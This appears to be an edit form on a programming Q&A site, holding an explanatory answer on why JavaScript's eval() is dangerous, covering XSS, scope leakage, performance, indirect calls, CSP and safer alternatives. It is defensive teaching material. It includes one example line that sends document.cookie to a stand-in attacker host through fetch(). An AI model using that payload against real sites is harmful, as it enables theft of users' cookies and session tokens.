Suggest an editImprove this articleRefine the answer for “Why eval() is dangerous”. Your changes go to moderation before they’re published.Approval requiredContentWhat you’re changing🇺🇸EN🇺🇦UAPreviewTitle (EN)Short answer (EN)**`eval(code)` takes a string of JavaScript source and runs it as ordinary code in the current execution context, which means it turns data into code.** That is exactly what makes it dangerous: if anything user supplied reaches that string, an attacker runs arbitrary commands on behalf of your application, gains access to every variable in scope, to `document.cookie` and to auth tokens, which is classic XSS or remote code execution. Beyond security there are three more problems: the engine (V8, SpiderMonkey, JavaScriptCore) cannot optimise code that sits next to `eval()`, so JIT and inlining are disabled; direct and indirect calls behave differently, which makes the code unpredictable; and a strict Content Security Policy without `unsafe-eval` simply forbids the call. There is almost always a safer replacement: `JSON.parse()`, method lookup by key, a `Map` or a `switch`. ```javascript const secret = 'myToken123'; eval('console.log(secret)'); // prints the secret: eval sees the whole scope ``` **Key point:** `eval()` executes an arbitrary string as code with full access to the surrounding scope, so never feed it data you cannot trust.Shown above the full answer for quick recall.Answer (EN)Image**`eval()` takes a string of JavaScript source and executes it as ordinary code while the program runs.** It is literally a miniature JavaScript interpreter inside JavaScript, and that is why it turns any data into executable code, with all the security consequences that follow. ## Theory ### TL;DR - `eval(code)` runs a string as code in the **current execution context**. - If user input reaches that string, you have XSS or remote code execution. - `eval()` sees every variable in the current scope, so it breaks isolation. - The engine cannot optimise such code; JIT and inlining are switched off. - Direct and indirect calls run in different scopes. - A strict CSP without `unsafe-eval` forbids the call and the browser throws. - `new Function()` carries the same risk, because it also executes a string as code. ### Quick example ```javascript eval("console.log('Hello, world!')"); // the string is executed as code const userInput = prompt('Enter something:'); eval(userInput); // never do this: the user decides what your app runs ``` ### Risk 1: XSS and arbitrary code execution If user input reaches `eval()`, it is a disaster. Typing this is enough: ```javascript alert('Hacked!'); ``` and the code runs. In the worst case: ```javascript fetch('https://attacker.example.com/steal?cookies=' + document.cookie); ``` The attacker gets the user's cookies and auth token. This is called **XSS (Cross-Site Scripting)** or **Remote Code Execution**. ### Risk 2: broken scope isolation `eval()` runs **in the current context**, so it has access to every variable and function of your script: ```javascript const secret = 'myToken123'; eval('console.log(secret)'); // prints the secret ``` If somebody injects their own code, they get full access to the application's internal state. ### Risk 3: lost optimisation and unpredictable scope Modern engines (V8, SpiderMonkey, JavaScriptCore) optimise code heavily at compile time. Next to `eval()` the engine cannot predict what will be executed, so it has to switch the optimisation off. The consequences: - the code runs slower; - the garbage collector steps in more often; - inlining and JIT optimisation are disabled. A separate trap is the difference between direct and indirect calls. A direct call runs in the current scope: ```javascript let x = 1; eval('x = 10'); console.log(x); // 10 ``` An indirect call, for example through `(0, eval)(...)`, runs in the **global scope**: ```javascript let x = 1; (0, eval)('x = 10'); console.log(x); // 1 console.log(window.x); // 10 ``` That makes the code unpredictable and hard to debug. ### Safe alternatives and CSP Most often people reach for `eval()` to parse JSON, call a function by name or evaluate an expression from a string. All of these have safe counterparts: | Task | Safe alternative | | --- | --- | | Parsing JSON | `JSON.parse(str)` | | Calling a function by name | `obj[funcName]()` | | Dynamic logic | `Map` or `switch` | | Templates | template literals (strings with substitution) | | Mathematical expressions | a dedicated parser (`math.js`, `expr-eval`) | The `Function` constructor is not safe either. People sometimes assume `new Function()` is safer, but it **also executes a string as code**: ```javascript const sum = new Function('a', 'b', 'return a + b'); console.log(sum(2, 3)); // 5 ``` It works, but if user data ends up in there, the risk is the same as with `eval()`. On top of that, `eval()` cannot be used under a strict **Content Security Policy**. If the HTTP headers say: ```text Content-Security-Policy: script-src 'self' ``` then calling `eval()` simply makes the browser throw: ```text Refused to evaluate a string as JavaScript because 'unsafe-eval' is not allowed ``` Comparing a bad and an acceptable approach. Bad: ```javascript function runExpression(expr) { return eval(expr); } runExpression('2 + 3 * 4'); ``` Better, with an up-front check of the allowed characters: ```javascript function safeEval(expr) { const allowed = /^[0-9+\-*/().\s]+$/; if (!allowed.test(expr)) throw new Error('Invalid characters'); return Function(`"use strict"; return (${expr})`)(); } console.log(safeEval('2 + 3 * 4')); // 14 ``` A summary of the risks: | Problem | Why it is dangerous | | --- | --- | | XSS vulnerability | Executes arbitrary code | | Breaks isolation | Access to every variable | | Slow | Disables engine optimisation | | Unpredictable | Different scope for direct and indirect calls | | Incompatible with CSP | Forbidden on sites with a strict policy | ### Common mistakes - **Parsing JSON with `eval()`.** A classic old habit; `JSON.parse()` is both faster and does not execute code. - **Believing `new Function()` is safe.** It is the same mechanism, just with its own global scope. - **Filtering "bad words" out of the string.** Blacklists get bypassed; the only reliable approach is an allowlist of characters, or not executing the string at all. - **Using `eval()` to call a function by name.** Instead of `eval('obj.' + name + '()')` write `obj[name]()`, which is both safe and readable. - **Ignoring indirect calls.** `(0, eval)(str)`, `window.eval(str)` and `setTimeout('code')` also execute a string as code, often in the global scope. - **Adding `unsafe-eval` to the CSP just to make things work.** That removes exactly the protection meant to save the app from injected code.For the reviewerNote to the moderator (optional)Visible only to the moderator. Helps review go faster.